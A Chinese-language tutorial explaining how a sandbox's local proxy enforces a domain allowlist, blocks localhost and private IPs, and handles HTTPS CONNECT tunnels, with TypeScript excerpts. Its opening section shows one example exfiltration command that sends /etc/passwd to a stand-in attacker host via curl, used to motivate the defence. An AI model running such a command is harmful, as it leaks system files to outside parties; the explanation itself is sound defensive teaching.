本篇讲解
src/proxy.ts和src/proxyPolicy.ts------沙箱包的"网络守卫"。子进程如果想联网,必须走本地代理;代理会检查目标域名是否在白名单里。
1. 为什么需要网络代理?
假设沙箱模式是 workspace-write + network: true,意味着子进程可以联网。但**"能联网"不等于"能连任何网站"**。
如果子进程执行了:
bash
curl https://evil-server.com/steal?data=$(cat /etc/passwd)
没有代理的话,这条命令会直接执行,数据就泄露了。
有了代理 ,子进程的网络请求会先到本地代理,代理检查 evil-server.com 不在白名单里,直接返回 403。
2. 整体架构
css
子进程(如 curl)
│ HTTP_PROXY=http://127.0.0.1:8787
▼
本地代理(proxy.ts,监听 127.0.0.1:8787)
│
├── HTTP 请求 → handleHttpRequest()
│ │
│ ▼ evaluateProxyAccess()
│ ├── 白名单命中 → 转发到目标服务器
│ └── 白名单未命中 → 返回 403
│
└── CONNECT 请求 → handleConnect()
│
▼ evaluateProxyAccess()
├── 白名单命中 → 建立 TCP 隧道
└── 白名单未命中 → 返回 403
3. proxyPolicy.ts------规则引擎
3.1 normalizeHost------标准化主机名
typescript
export function normalizeHost(host: string) {
return host.replace(/^\[/, '').replace(/\]$/, '').toLowerCase();
}
把 IPv6 地址的方括号去掉([::1] → ::1),统一转小写。
3.2 parseAllowRule------解析白名单规则
typescript
export function parseAllowRule(rule: string): { hostPattern: string; port?: number } {
const trimmed = rule.trim().toLowerCase();
const portMatch = trimmed.match(/^(.*):(\d+)$/);
if (!portMatch) return { hostPattern: trimmed };
return { hostPattern: portMatch[1], port: Number(portMatch[2]) };
}
规则格式:
registry.npmjs.org→ 只匹配主机名,端口默认 80/443registry.npmjs.org:443→ 匹配主机名 + 指定端口
3.3 matchesAllowRule------匹配白名单规则
typescript
export function matchesAllowRule(rule: string, host: string, port: number): boolean {
const { hostPattern, port: explicitPort } = parseAllowRule(rule);
if (!minimatch(host, hostPattern)) return false; // 用 minimatch 做通配符匹配
if (explicitPort !== undefined) return explicitPort === port;
return DEFAULT_ALLOWED_TARGET_PORTS.has(port); // 默认只允许 80/443
}
minimatch 支持 * 通配符,所以 *.npmjs.org 可以匹配 registry.npmjs.org。
3.4 isSpecialUseHostname------特殊用途主机名
typescript
export function isSpecialUseHostname(host: string): boolean {
return (
host === 'localhost' ||
host.endsWith('.localhost') ||
host.endsWith('.local') ||
host === 'ip6-localhost'
);
}
这些主机名直接拒绝------代理不应该代理到本机。
3.5 isBlockedIpAddress------私有 IP 地址检测
typescript
export function isBlockedIpAddress(address: string): boolean {
// ... 检测 IPv4 和 IPv6 的私有/保留地址
// 10.x.x.x → 阻止
// 127.x.x.x → 阻止
// 192.168.x.x → 阻止
// 172.16~31.x.x → 阻止
// ::1 → 阻止
// fc00::/7 → 阻止
// ...
}
即使白名单域名解析到了私有 IP 地址,也会被拦截。这是为了防止 DNS 重绑定攻击(DNS Rebinding)。
3.6 evaluateProxyAccess------综合判定
typescript
export async function evaluateProxyAccess(options: {
host: string;
port: number;
allowRules: string[];
lookup?: ProxyLookupFn;
}): Promise<ProxyAccessDecision> {
const normalizedHost = normalizeHost(options.host);
// 1. 无效主机名
if (!normalizedHost) return { allowed: false, reason: 'invalid_host' };
// 2. 特殊用途主机名
if (isSpecialUseHostname(normalizedHost)) return { allowed: false, reason: 'special_use_hostname' };
// 3. 白名单匹配
const matchedRule = options.allowRules.find(rule => matchesAllowRule(rule, normalizedHost, options.port));
if (!matchedRule) return { allowed: false, reason: 'host_or_port_not_allowed' };
// 4. DNS 解析
const resolvedAddresses = await resolveAddresses(normalizedHost, options.lookup ?? dns.lookup);
if (resolvedAddresses.length === 0) return { allowed: false, reason: 'resolution_failed' };
// 5. 私有 IP 检测
if (resolvedAddresses.some(addr => isBlockedIpAddress(addr))) {
return { allowed: false, reason: 'blocked_ip_address' };
}
// 6. 通过
return { allowed: true, normalizedHost, matchedRule, resolvedAddress: resolvedAddresses[0] };
}
五道检查:
- 主机名有效吗?
- 不是 localhost 等特殊主机名吧?
- 在白名单里吗?
- DNS 能解析吗?
- 解析出的 IP 不是私有地址吧?
全部通过才放行。
4. proxy.ts------HTTP 代理服务
4.1 启动代理
typescript
const PORT = Number(process.env.PROXY_PORT || 8787);
const server = http.createServer((req, res) => {
void handleHttpRequest(req, res);
});
server.on('connect', (req, clientSocket, head) => {
void handleConnect(req, clientSocket as net.Socket, head);
});
server.listen(PORT, '127.0.0.1', () => {
console.log(`Sandbox proxy listening on http://127.0.0.1:${PORT}`);
});
4.2 HTTP 请求处理
typescript
async function handleHttpRequest(req, res) {
const url = new URL(req.url || '', `http://${req.headers.host}`);
const host = normalizeHost(url.hostname);
const port = Number(url.port || 80);
const decision = await evaluateProxyAccess({ host, port, allowRules: loadAllowlist().allow });
if (!decision.allowed) {
res.writeHead(403, { 'X-Sandbox-Proxy-Block': `${decision.reason}: ${host}` });
res.end(`Blocked by sandbox proxy: ${host}\n`);
return;
}
// 放行:创建代理请求转发
const proxyReq = http.request(
{ hostname: decision.resolvedAddress, port, path: url.pathname + url.search, method: req.method, headers: req.headers },
(proxyRes) => {
res.writeHead(proxyRes.statusCode || 502, proxyRes.headers);
proxyRes.pipe(res);
},
);
req.pipe(proxyReq);
}
4.3 CONNECT 隧道处理(HTTPS)
typescript
async function handleConnect(req, clientSocket, head) {
const [rawHost, rawPort] = (req.url || '').split(':');
const host = normalizeHost(rawHost || '');
const port = Number(rawPort || 443);
const decision = await evaluateProxyAccess({ host, port, allowRules: loadAllowlist().allow });
if (!decision.allowed) {
deny(clientSocket, host, decision.reason ?? 'host_not_allowed');
return;
}
// 建立隧道
const serverSocket = net.connect(port, decision.resolvedAddress, () => {
clientSocket.write('HTTP/1.1 200 Connection Established\r\n\r\n');
serverSocket.write(head);
serverSocket.pipe(clientSocket);
clientSocket.pipe(serverSocket);
});
}
HTTPS 请求的处理方式和 HTTP 完全不同,原因是 HTTPS 的内容是加密的------代理不可能像处理 HTTP 那样"拆开看一眼再转发"。
所以代理用的是 CONNECT 隧道模式,整个过程可以用一个生活比喻来理解:
你要给一个朋友寄加密信件,但邮局规定所有信件必须经过检查。怎么办? 你跟邮局说:"我只告诉你收件人地址,你帮我确认这个地址是不是安全的就行。确认安全后,你就给我和收件人之间搭一条专线,信件直接送达,你不拆开看。" 邮局查了一下地址,说"没问题,这是白名单里的地址",于是搭了一条专线。从此你和收件人直接通话,邮局只负责"搭线",看不到信件内容。
对应到代码里的步骤:
- 客户端请求 :子进程向代理发送
CONNECT registry.npmjs.org:443,意思是"我要和这个服务器建一条加密隧道" - 代理查白名单 :
evaluateProxyAccess检查域名是否在白名单里 - 拒绝或放行:不在白名单 → 直接拒绝;在白名单 → 继续
- 搭隧道 :代理用自己的 socket 连上目标服务器,然后把客户端的 socket 和服务器的 socket 用
pipe()对接------从此两边的数据直接流过去,代理只当"管道"不做任何解读 - 通知客户端 :
200 Connection Established意思是"隧道搭好了,你可以开始加密通信了"
关键点:代理只决定"要不要搭这条隧道",一旦搭好了,加密内容从客户端直达服务器,代理看不到也改不了。
这就是为什么 HTTPS 代理比 HTTP 代理更安全------即使代理本身被攻破,攻击者也只能知道"你连了哪个域名",但看不到你传输的具体内容。
4.4 白名单配置
json
// src/config/network-allowlist.json
{
"allow": [
"registry.npmjs.org",
"*.npmjs.org",
"github.com",
"*.github.com",
"api.github.com"
]
}
默认只允许访问 npm 和 GitHub 相关域名。
5. 小结
| 模块 | 作用 |
|---|---|
proxyPolicy.ts |
规则引擎:白名单匹配、DNS 解析、私有 IP 检测 |
proxy.ts |
HTTP 代理服务:拦截 HTTP 和 CONNECT 请求 |
network-allowlist.json |
白名单配置文件 |
五道网络检查:
- 主机名有效性
- 特殊用途主机名
- 白名单匹配
- DNS 解析
- 私有 IP 地址
核心思想:想联网?先问代理。代理说不许,就不许。